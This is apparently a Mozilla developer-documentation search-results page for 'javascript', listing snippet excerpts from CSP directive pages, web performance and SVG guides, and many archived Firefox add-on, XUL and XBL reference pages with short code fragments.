this includes static files such as images, css files and javascript files, for example.
...this is typical of the technical resources included and linked from each web pages: javascript and css files change infrequently, but when they change you want them to be updated quickly.
Feature Policy - HTTP
some approaches include: return "permission denied" for javascript apis that require user permission grants.
... return false or error from an existing javascript api that provides access to feature.
CSP: base-uri - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: connect-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: default-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: font-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: frame-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: img-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: manifest-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: media-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: object-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: prefetch-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: style-src-attr - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: style-src-elem - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
Proxy servers and tunneling - HTTP
proxy auto-configuration (pac) a proxy auto-configuration (pac) file is a javascript function that determines whether web browser requests (http, https, and ftp) go directly to the destination or are forwarded to a web proxy server.
... the javascript function contained in the pac file defines the function: the auto-config file should be saved to a file with a .pac filename extension: proxy.pac and the mime type set to: application/x-ns-proxy-autoconfig the file consists of a function called findproxyforurl.
Critical rendering path - Web Performance
the critical rendering path is the sequence of steps the browser goes through to convert the html, css, and javascript into pixels on the screen.
...the html may request javascript, which may, in turn, alter the dom.
Lazy loading - Web Performance
general code splitting javascript, css and html can be split into smaller chunks.
... entry point splitting: separates code by entry point(s) in the app dynamic splitting: separates code where dynamic import() statements are used javascript script type module any script tag with type="module" is treated like a javascript module and is deferred by default.
Optimizing startup performance - Web Performance
while you can use web workers to run even very large, long-duration chunks of javascript code asynchronously, there's a huge caveat that: workers don't have access to webgl or audio, and they can't send synchronous messages to the main thread, so you can't even proxy those apis to the main thread.
... reduce the side of your javascript files.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
they run on a separate thread from the main javascript code of our page, and don't have any access to the dom structure.
...here is a simple usage example: self.addeventlistener('fetch', (e) => { console.log('[service worker] fetched resource '+e.request.url); }); the response can be anything we want: the requested file, its cached copy, or a piece of javascript code that will do something specific — the possibilities are endless.
Web technology reference
introduction to css | getting started with css | learn css | common css questions | reference javascript — dynamic client-side scripting the javascript programming language is used to add interactivity and other dynamic features to web sites.
... learn javascript | developer guide | reference ...
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
7 example svg, xml in this example, we use xhtml, svg, javascript, and the dom to animate a swarm of "motes".
...it shows how javascript and css can be used to manipulate the picture in the same way you would script regular html.
Introduction - SVG: Scalable Vector Graphics
svg supports gradients, rotations, filter effects, animations, interactivity with javascript, and so on.
...not all svg viewers are equal and so there is a good chance that something written for one app will not display exactly the same in another, simply because they support different levels of the svg specification or another specification that you are using along with svg (that is, javascript or css).
SVG In HTML Introduction - SVG: Scalable Vector Graphics
it shows how javascript and css can be used to manipulate the picture in the same way you would script regular html.
...00%; position:absolute; top:0; left:0; z-index:-1;"> <lineargradient id="gradient"> <stop class="begin" offset="0%"/> <stop class="end" offset="100%"/> </lineargradient> <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /> <circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /> </svg> </body> </html> discussion the page is mainly regular html, css and javascript.
Tools for SVG - SVG: Scalable Vector Graphics
raphael js url: raphaeljs.com this is a javascript library, that acts as an abstraction layer between browser implementations.
... snap.svg url: snapsvg.io a newer javascript abstraction layer from the same author of raphael js.
Mixed content - Web security
the attacker can also rewrite the response to include malicious javascript code.
...some common examples of mixed content include javascript files, stylesheets, images, videos, and other media.
Using shadow DOM - Web Components
this takes as its parameter an options object that contains one option — mode — with a value of open or closed: let shadow = elementref.attachshadow({mode: 'open'}); let shadow = elementref.attachshadow({mode: 'closed'}); open means that you can access the shadow dom using javascript written in the main page context, for example using the element.shadowroot property: let myshadowdom = mycustomelem.shadowroot; if you attach a shadow root to a custom element with mode: closed set, you won't be able to access the shadow dom from the outside — mycustomelem.shadowroot returns null.
...to begin with, in our javascript file we define a class called popupinfo, which extends htmlelement: class popupinfo extends htmlelement { constructor() { // always call super first in constructor super(); // write element functionality in here ...
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
this has been possible for a while when using the xsltprocessor in javascript.
... <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> note that these pis have no effect when transformation is done using the xsltprocessor object in javascript.
Caching compiled WebAssembly modules - WebAssembly
this includes compiled wasm modules (webassembly.module javascript objects).
...l)).then(results => { storeindatabase(db, results.module); return results.instance; }); }) }, note: it is for this kind of usage that webassembly.instantiate() returns both a module and an instance: the module represents the compiled code and can be stored/retrieved in idb or shared between workers via postmessage(); the instance is stateful and contains the callable javascript functions, therefore it cannot be stored/shared.
Communicating With Other Scripts - Archive of obsolete content
ata.url("page.html") var pagemod = mod.pagemod({ include: pageurl, contentscriptfile: self.data.url("content-script.js"), contentscriptwhen: "ready" }) tabs.open(pageurl); the target web page "page.html" includes a button and a page script: <html> <head> <meta charset="utf-8"> </head> <body> <input id="message" type="button" value="send a message"/> <script type="text/javascript" src="page-script.js"></script> </body> </html> the content script "content-script.js" adds an event listener to the button, that sends a custom event containing a message: var messenger = document.getelementbyid("message"); messenger.addeventlistener("click", sendcustomevent, false); function sendcustomevent() { var greeting = {"greeting" : "hello world"}; var event = document.createeve...
Cross-domain Content Scripts - Archive of obsolete content
ement.textcontent = summary; }; request.send(); }); function getsummary(forecast) { return forecast.regionalfcst.fcstperiods.period[0].paragraph[0].$; } finally, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://datapoint.metoffice.gov.uk"] } content permissions and unsafewindow if you use "cross-domain-content", then javascript values in content scripts will not be available from pages.
Loading Content Scripts - Archive of obsolete content
this enables you to load a javascript library like jquery by url, then pass in a simple script inline that can use jquery.
Porting the Library Detector - Archive of obsolete content
the library detector tells you which javascript frameworks the current web page is using.
SDK and XUL Comparison - Archive of obsolete content
advantages of the sdk simplicity the sdk provides high-level javascript apis to simplify many common tasks in add-on development, and tool support which greatly simplifies the process of developing, testing, and packaging an add-on.
l10n - Archive of obsolete content
localize strings appearing in the add-on's javascript code.
panel - Archive of obsolete content
its content is specified as html and you can execute scripts in it, so the appearance and behavior of the panel is limited only by what you can do using html, css, and javascript.
request - Archive of obsolete content
json the content of the response as a javascript object.
simple-prefs - Archive of obsolete content
this is used to access the preference from your add-on: console.log(require("sdk/simple-prefs").prefs.mysettingname); this means that it must be a valid javascript identifier.
simple-storage - Archive of obsolete content
it's a normal javascript object, and you can treat it as you would any other.
High-Level APIs - Archive of obsolete content
l10n localize strings appearing in the add-on's javascript code.
content/worker - Archive of obsolete content
parameters options : object required options: name type window object the content window to create javascript sandbox for communication with.
core/heritage - Archive of obsolete content
doing inheritance in javascript is both verbose and painful.
console - Archive of obsolete content
console methods all console methods except exception() and trace() accept one or more javascript objects as arguments and log them to the console.
Adding a Button to the Toolbar - Archive of obsolete content
you can add buttons to the toolbar and also frames, that can host html, css, and javascript.
Chrome Authority - Archive of obsolete content
the manifest is built with a simple regexp-based scanner, not a full javascript parser.
Logging - Archive of obsolete content
the dom console object is useful for debugging javascript.
Modifying Web Pages Based on URL - Archive of obsolete content
rather than injecting javascript into a page, you can inject css by setting the page-mod's contentstyle option.
Modifying the Page Hosted by a Tab - Archive of obsolete content
to modify the style of a page, you have to use javascript, as in the example above.
Bootstrapped extensions - Archive of obsolete content
the data is a simple javascript object with the following properties: property type description id string the id of the add-on being bootstrapped.
Customizing the download progress bar - Archive of obsolete content
in your overlay file, add a javascript file between the <overlay> and </overlay> tags: <script type="application/javascript" src="chrome://myextension/content/downloads-overlay.js" /> the javascript file will look something like this: var mydownloadmanager = { defaultcreatedownloaditem : null, init : function fdm_init() { mydownloadmanager.defaultcreatedownloaditem = window.createdownloaditem; window.createdow...
File I/O - Archive of obsolete content
this article describes local file input/output in chrome javascript.
Modules - Archive of obsolete content
some simple code to turn a javascript module into non-mozilla-specific code (e.g., if porting to the browser).
On page load - Archive of obsolete content
this article is for xul/javascript developers who want to have custom code executed each time a new page is loaded in browser/mail.
Running applications - Archive of obsolete content
this page describes how to run other programs from your chrome javascript code, using mozilla xpcom interfaces.
View Source for XUL Applications - Archive of obsolete content
importing gviewsourceutils xul applications wanting to show the source code for documents should import the viewsourceutils.js script instead of attempting to open the viewsource.xul window themselves: <script type="application/javascript" src="chrome://global/content/viewsourceutils.js"/> viewsourceutils.js exposes a gviewsourceutils global into the scope of the window that imports that script.
Windows - Archive of obsolete content
t.screeny - startpos[1]; window.moveto(newx, newy); } } function mouseup(event) { startpos = null; } window.addeventlistener("mousedown", mousedown, false); window.addeventlistener("mouseup", mouseup, false); window.addeventlistener("mousemove", mousemove, false); xul titlebar element xul applications can take advantage of the titlebar element to achieve a similar result without extra javascript code.
XML-related code snippets - Archive of obsolete content
how to create a dom tree using xmlhttprequest parsing and serializing xml using xpath jxon (lossless javascript xml object notation) xsl transforms xlink xinclude xml:id xml:base support in old browsers xpointer svg namespaces, or why http://www.mozilla.org/keymaster/gat...re.is.only.xul is at the top of every xul document.
XPath - Archive of obsolete content
tnode should be the same object, if context is a ajax xml object (example: returnedxml) this should be used as : returnedxml.evaluate(xpathexpression,returnedxml,namespaceresolver,returntype,result); //contextnode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr = new ajax('post','demo.xml',parsexml,'xml'); //ajax is a class written by javascript which return responsexml object to parsexml function function parsexml(obj)//obj is the returnxml object now { if(!obj.documentelement) { alert("your browser does't support this script!"); return; } var fields = [];//store the results if(window.activexobject) { var tobj = obj.documentelement.selectnodes("/root/field/item"); for(var i=0;i<tobj.length; i++) { fields.push(tobj...
Default Preferences - Archive of obsolete content
the actual file, despite having .js extension, is not a javascript file.
Developing add-ons - Archive of obsolete content
jetpack developers only need to know the tools of the modern web: html, css, and javascript.
Inline options - Archive of obsolete content
this code should be in bootstrap.js (within the startup() function) for restartless extensions or in an xpcom component or a javascript code module (not an overlay!) for traditional extensions.
Interaction between privileged and non-privileged pages - Archive of obsolete content
* @see <https://developer.mozilla.org/docs/code_snippets/ * interaction_between_privileged_and_non-privileged_pages#security_notes> */ function geteventdata(event) { if (event.target.ownerdocument != targetdoc) throw "event from unexpected source"; return new xml(event.target.getattribute("eventdatafrompage")); } security notes never invoke the web page's javascript functions from your extension - doing this increases the chance of creating a security hole, where a malicious web page can trick the browser to run its code with extended privileges (just like your extension) with, for example, the ability to delete local files.
Offering a context menu for form controls - Archive of obsolete content
<overlay id="formcontrolcontextmenu-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://formcontrolcontextmenu/content/overlay.js"/> </overlay> change the right-click behavior the overlaid code is responsible for adjusting the behavior of right-clicking on form controls.
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
in order to add your button to the main toolbar on first run, you'll have to use javascript code.
Adding menus and submenus - Archive of obsolete content
if you're overlaying the tools menu, your overlay code should have something like this: <menupopup id="menu_toolspopup"> <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.hellomenu.accesskey;" insertafter="javascriptconsole,devtoolsseparator"> <menupopup> <!-- your menuitem goes here.
Adding sidebars - Archive of obsolete content
even handling the construction of a tree using javascript and dom functions can become very convoluted, which is why trees are better used along with templates.
Appendix A: Add-on Performance - Archive of obsolete content
javascript code modules.
Appendix F: Monitoring DOM changes - Archive of obsolete content
it is often possible to do things for which people have traditionally resorted to javascript with css alone.
Custom XUL Elements with XBL - Archive of obsolete content
javascript code is enclosed in cdata sections to prevent js and xml syntax conflicts.
Introduction - Archive of obsolete content
even this project, called xul school, covers several other technologies such as javascript, css, xbl and xpcom.
The Box Model - Archive of obsolete content
since labels can't handle rich text, workarounds have to implemented using javascript.
XUL School Tutorial - Archive of obsolete content
introduction introduction getting started with firefox extensions the essentials of an extension setting up a development environment javascript object management basic functionality adding menus and submenus adding toolbars and toolbar buttons adding events and commands adding windows and dialogs adding sidebars user notifications and alerts intermediate functionality intercepting page loads connecting to remote content handling preferences local storage advanced topics the box model xpc...
Session store API - Archive of obsolete content
you may use any javascript object as the data.
Supporting search suggestions in search plugins - Archive of obsolete content
if you're a web site designer, and want to support search suggestions, you need to implement support for returning the suggestions in javascript object notation (json) given a search term.
Promises - Archive of obsolete content
this interface replaces the previous, complicated xpcom nsifile and streams apis, and their related javascript helper modules.
Using the Stylesheet Service - Archive of obsolete content
the examples in this document are all written in javascript using xpcom.
Search Extension Tutorial (Draft) - Archive of obsolete content
if (engine && engine.getsubmission("_searchterms_").uri.spec == engine_details.url) services.search.removeengine(engine); } } function install() {} function uninstall() {} the complex method requires two files, an xml search description file and a javascript file to register the engine.
XML data - Archive of obsolete content
other technologies can modify the structure of the display—for example, xbl can add content, and javascript can modify the dom.
Creating a Web based tone generator - Archive of obsolete content
<!doctype html> <html> <head> <title>javascript audio write example</title> </head> <body> <input type="text" size="4" id="freq" value="440"><label for="hz">hz</label> <button onclick="start()">play</button> <button onclick="stop()">stop</button> <script type="text/javascript"> function audiodatadestination(samplerate, readfn) { // initialize the audio output.
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
in addition, if you have made your plugin scriptable and accessible from javascript, you ought to put the associated xpt file in the components directory.
Using XML Data Islands in Mozilla - Archive of obsolete content
javascript can use the content of a <script> element as a data block if the src attribute is omitted and the type attribute does not specify an executable script type.
Visualizing an audio spectrum - Archive of obsolete content
<!doctype html> <html> <head> <title>javascript spectrum example</title> </head> <body> <audio id="audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, frameb...
How Mozilla finds its configuration files - Archive of obsolete content
this is a readable file of javascript commands.
How Thunderbird and Firefox find their configuration files - Archive of obsolete content
this is a readable file of javascript commands.
Kill the XUL.mfl file for good - Archive of obsolete content
unfortunately, there appears to be no "clean" way of doing so (javascript command in prefs.js or registry setting).
Locked config settings - Archive of obsolete content
the mozilla.cfg file is an encoded file of javascript commands.
Blackwood - Archive of obsolete content
blackwood's mission is to put java support in mozilla on a par with javascript support.
Chromeless - Archive of obsolete content
chromeless apps have access to a collection of javascript apis that provide them with deep desktop integration.
Conclusion - Archive of obsolete content
how would you use javascript to determine whether the tree is open or closed and css to style the icon accordingly?
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
to make it work we have to add javascript code that changes its status when the tinderbox status changes.
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
ome urls in the copy of tinderstatusoverlay.xul to point to the new locations the files will be in when they get installed via the xpi: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> we also need to change the urls in the copy of tinderstatus.css: statusbarpanel#tinderbox-status { list-style-image: url("chrome:/...
Prerequisites - Archive of obsolete content
you should also understand tag-based languages like html as well as basic javascript, css, and the dom.
Creating a Mozilla Extension - Archive of obsolete content
completing this tutorial will give you a basic understanding of how mozilla's user interface (ui) is constructed, how to find the source code for the ui you want to extend, how to make an installation of mozilla modifiable, how to use mozilla's network library to load and parse web pages in javascript, and how to use dynamic overlays to package a mozilla extension for installation by others.
Creating a hybrid CD - Archive of obsolete content
'jpeg' "jpeg file" .pl ascii 'mcpl' 'text' "perl file" .pm ascii 'mcpl' 'text' "perl module file" .xml ascii 'r*ch' 'text' "xml file" .xul ascii 'r*ch' 'text' "xul file" .xbl ascii 'r*ch' 'text' "xbl file" .css ascii 'r*ch' 'text' "css file" .dtd ascii 'r*ch' 'text' "dtd file" .js ascii 'r*ch' 'text' "javascript file" .mp3 raw 'tvod' 'mpg3' "mpeg file" .mpg raw 'tvod' 'mpeg' "mpeg file" .mpeg raw 'tvod' 'mpeg' "mpeg file" .au raw 'tvod' 'ulaw' "audio file" * ascii 'ttxt' 'text' "text file" for more information about recording cds, see the cd-recordable faq.
Creating regular expressions for a microsummary generator - Archive of obsolete content
for detailed documentation about regular expressions, see core_javascript_1.5_reference:global_objects:regexp.
Dehydra Object Reference - Archive of obsolete content
introduction dehydra represents c++ types and variables as javascript objects.
Drag and Drop - Archive of obsolete content
the second is to use a javascript wrapper object that handles some of this for you.
Embedding FAQ - Archive of obsolete content
{ nsidomdocument doc = browser.getdocument(); system.out.println(doc); } }); while (!shell.isdisposed()) { if (!display.readanddispatch()) { display.sleep(); } } } how to map a javascript function to a c++ function define an xpcom class defining the function you'll be doing in javascript.
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
main roles nsdocshell this class corresponds, basically, to a "window" object in javascript -- each frame, iframe, content area, tab, etc has its own docshell.
Layout System Overview - Archive of obsolete content
these dynamic changes are caused by manipulations of the content model via the dom (generally through javascript).
Code snippets - Archive of obsolete content
this page documents how to perform custom actions with firefox sync via javascript.
Jetpack Snippets - Archive of obsolete content
using firebug lite in a slidebar jetpack.future.import("slidebar");jetpack.slidebar.append({ html: <html><head></head><body> <p>some slidbar you want to debug</p> <a href="javascript:console.log('hello!')">test</a> <script><![cdata[ //firebug lite bookmarklet code: var firebug=document.createelement('script'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); document.body.appendchild(firebug); (function(){if(window.firebug.version){firebug.ini...
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
no menuitem constructor is exposed, because jetpack automatically boxes simple javascript objects into menuitem objects.
Microsummary topics - Archive of obsolete content
it does not generally download related content like embedded images and javascript scripts referenced by the page.
Modularization techniques - Archive of obsolete content
xpcom uses these typelibraries to allow other languages, such as javascript, to implement and call xpcom objects.
Nanojit - Archive of obsolete content
need guards are required in a cross platform dynamic language like javascript.
New Security Model for Web Services - Archive of obsolete content
this policy has generally been successful in sandboxing javascript and java applets across the web.
FAQ - Archive of obsolete content
ArchiveMozillaPrismFAQ
prism is built on top of the mozilla platform and its gecko rendering engine, just like mozilla firefox, so it provides the same capabilities to web applications that firefox provides, including support for html, javascript, css, and <canvas>.
Scripting - Archive of obsolete content
the web application bundle is allowed to hold a javascript file named webapp.js (called the webapp script).
Prism - Archive of obsolete content
javascript api: an api that can be used by scripts inside the bundle to customize the application.
Priority Content - Archive of obsolete content
book length works in progress: netscape gecko plugin api reference 1.0 original: netscape gecko plugin api reference 1.0 wiki location: gecko plugin api reference migrators: started: core javascript reference 1.5 original: core javascript reference 1.5 wiki location: core javascript 1.5 reference migrators: deb richardson in progress: transforming xml: netscape and xslt 1.0 original: transforming xml: netscape and xslt 1.0 wiki location: transforming xml with xslt migrators: serge k.
New Skin Notes - Archive of obsolete content
--callek add "what not to do" css class to stylesheet, as discussed on talk:core javascript 1.5 reference.
open - Archive of obsolete content
warning: this section describes the file component of the spidermonkey javascript interpreter.
Treehydra - Archive of obsolete content
treehydra is a gcc plugin that provides a low level javascript binding to gcc's gimple ast representation.
When To Use ifdefs - Archive of obsolete content
for instance, xpcom, the spidermonkey javascript engine, and the networking engine do not know anything about xul and should not have any ifdefs based on --disable-xul.
Binding Implementations - Archive of obsolete content
note: the following paragraphs suggest a syntax for how javascript might enable access to base class methods and properties.
Elements - Archive of obsolete content
for example, in javascript the value of this attribute represents the name of the corresponding class that is constructed for the implementation.
Event Handlers - Archive of obsolete content
in both cases the javascript body is compiled just before execution; code that does not depend on the context of the event should be factored into normal javascript file.
XBL - Archive of obsolete content
custom xul elements with xbl from the xul school tutorial for add-on developers xbl chapter of "rapid application development with mozilla" xbl 2.0 primer (draft) xbl 2.0 cross-browser implementation in javascript more xbl resources...
XML in Mozilla - Archive of obsolete content
us and/or further documentation xml 1.0 w3c recommendation namespaces in xml w3c recommendation associating stylesheets with xml documents w3c recommendation styling xml documents with css manipulating xml documents with scripts through dom serializing xml dom trees to javascript object trees (jxon) other supported xml w3c recommendations specification or technology documentation xhtml w3c recommendation xml base w3c recommendation xlink (simple xlinks only) obsolete since gecko 2.0 w3c recommendation fixptr obsolete since gecko 1.9.1 w3c "proposal...
Mac stub installer - Archive of obsolete content
add an <component>.jst install script template file (the jst extension stands for javascript template indicating this is a template for the final install.js for the <component>.xpi.
Unix stub installer - Archive of obsolete content
add an <component>.jst install script template file (the jst extension stands for javascript template indicating this is a template for the final install.js for the <component>.xpi.
Windows stub installer - Archive of obsolete content
the jst extension stands for javascript template indicating this is a template for the final install.js for the <component>.xpi.
Install Wizards (aka: Stub Installers) - Archive of obsolete content
it contains some files to be installed and the install script, usually named install.js, which contains javascript directives for actions to take during an install including adding files and directories, removing old or obsolete files and directories, executing command line tools, etc.
InstallTrigger.installChrome - Archive of obsolete content
installtrigger.installchrome trigger scripts are typically invoked by javascript event handlers on hyperlinks.
Trigger Scripts and Install Scripts - Archive of obsolete content
trigger scripts and install scripts trigger scripts are simple installations that can be initiated from event handlers and other javascript code on a web page.
Learn XPI Installer Scripting by Example - Archive of obsolete content
overview of the install script xpi install scripts are written in javascript using xpinstall engine syntax defined in the xpinstall api reference.
label - Archive of obsolete content
see also treeitem.label, <label> element examples in javascript <label value="whaw" id="the-big-label" command="the-big-button"/> <button id="the-big-button" label="click me" oncommand="alert(document.getelementbyid('the-big-label').value)"/> <label id="mylabel" value="my label"/> <button label="click me" oncommand="document.getelementbyid('mylabel').setattribute('value','value changed');" /> <checkbox label="my checkbox" id="mycheckbox"/> <button label="another click" oncommand="document.getelementbyid('mycheckbox')...
onchange - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> ...
oninput - Archive of obsolete content
--> <script language="javascript"> function setlabel(txtbox){ document.getelementbyid('lbl').value = txtbox.value; } </script> <label id="lbl"/> <textbox oninput="setlabel(this);"/> this is similar to the onkeypress event used in html documents.
sizemode - Archive of obsolete content
to get the window state from javascript code, use window.windowstate.
appendItem - Archive of obsolete content
example <script language="javascript"> function additemstolist(){ var list = document.getelementbyid('mymenulist'); // add item with just the label list.appenditem('one'); // add item with label and value list.appenditem('two', 999); // select the first item list.selectedindex = 0; } </script> <button label="add items" oncommand="additemstolist()"/> <menulist id="mymenulist"> <menupopup/> </menulist> see also insertitemat() removeitemat() ...
insertItemAt - Archive of obsolete content
note: you cannot insert an item to an index that does not exist, eg: trying to insert an item at the end with element.getrowcount() + 1 example <!-- this example inserts at the selected item or appends, then selects the newly created item --> <script language="javascript"> function insertitemtolist(){ var mylistbox = document.getelementbyid('mylistbox'); // create a date to get some labels and values var somedate = new date(); if(mylistbox.selectedindex == -1){ // no item was selected in list so append to the end mylistbox.appenditem( somedate.tolocaletimestring(), somedate.gettime() ); var newindex = mylistbox.getrowcou...
removeItemAt - Archive of obsolete content
<script language="javascript"> function removeselecteditem(){ var mylistbox = document.getelementbyid('mylistbox'); if(mylistbox.selectedindex == -1){ return; // no item selected so return }else{ mylistbox.removeitemat(mylistbox.selectedindex); } } function removeallitems(){ var mylistbox = document.getelementbyid('mylistbox'); var count = mylistbox.itemcount; while(count-- > 0){ mylistbox.removeitemat(0); } } </script> <button label="remove selected item" oncommand="removeselecteditem()"/> <button label="remove all items" oncommand="removeall...
Special per-platform menu considerations - Archive of obsolete content
notes for firefox extension developers on the mac, some elements, once moved to the application menu, are no longer accessible from xul overlays or from javascript injected into browser.xul.
builderView - Archive of obsolete content
in newer versions of mozilla, the builderview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript.
contentView - Archive of obsolete content
in newer versions of mozilla, the contentview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript.
currentIndex - Archive of obsolete content
<script language ="javascript"> function treerowclicked(){ var tree = document.getelementbyid("my-tree"); var selection = tree.view.selection; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(0)); alert(celltext); } </script> <tree id="my-tree" seltype="single" onselect="treerowclicked()"> <treecols> <treecol label="title" flex="1"/><treecol label="url" flex="1"/> </tre...
Template Builder Interface - Archive of obsolete content
for non-xul elements, the template builder will be assigned to a builder property on the element using a custom javascript property instead.
textbox (Toolkit autocomplete) - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> oninput type: script code this event is sent when a user enters text in a textbox.
Textbox (XPFE autocomplete) - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> onerrorcommand type: script code this event handler is called when an error occurs when selecting a result from the popup.
Tree Widget Changes - Archive of obsolete content
to get a column in javascript: tree.columns.getcolumnfor(treecolelement); tree.columns.getnamedcolumn(treecolid); tree.columns.getcolumnat(index); you can also just use array syntax to get a column: tree.columns["lastname"]; tree.columns[5]; once you have a column, you can get various properties of it: column.index - the index of the column in displayed order column.id - the id attribute of the column column.elemen...
Adding Buttons - Archive of obsolete content
you can switch the disabled state of the button using javascript.
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
valid event types are those supported by xul and javascript, such as click and focus.
Adding Properties to XBL-defined Elements - Archive of obsolete content
the xbl interface javascript and the dom provide access to get and set the properties of elements.
Creating Dialogs - Archive of obsolete content
dialog" description="example dialog"/> <groupbox flex="1"> <caption label="select favourite fruit"/> <radio id="orange" label="oranges because they are fruity"/> <radio id="violet" selected="true" label="strawberries because of their colour"/> <radio id="yellow" label="bananas because they are pre-packaged"/> </groupbox> </dialog> the buttons elements can be accessed with the following javascript // the accept button var acceptbutt = document.documentelement.getbutton("accept") more examples more examples in dialogs and prompts (code snippets).
Creating an Installer - Archive of obsolete content
the installer xpi file is required to contain one file called install.js which is a javascript file which is executed during the installation.
Custom Tree Views - Archive of obsolete content
you can create these objects in javascript, but you will need a separate object for each tree.
Features of a Window - Archive of obsolete content
you can also use any of the pre-existing flags, which you should find in a javascript reference.
Install Scripts - Archive of obsolete content
the script will contain javascript code which calls a number of install functions.
Modifying a XUL Interface - Archive of obsolete content
the button element has two attributes "label" and "oncommand" a javascript function named "addbutton()" this script first gets a reference to the box with getelementbyid(), which is the container to add a new button to.
Skinning XUL Files by Hand - Archive of obsolete content
also, most of the behavior that buttons exhibit comes from styles and an event model based on javascript that dynamically switches between these styles.
Templates - Archive of obsolete content
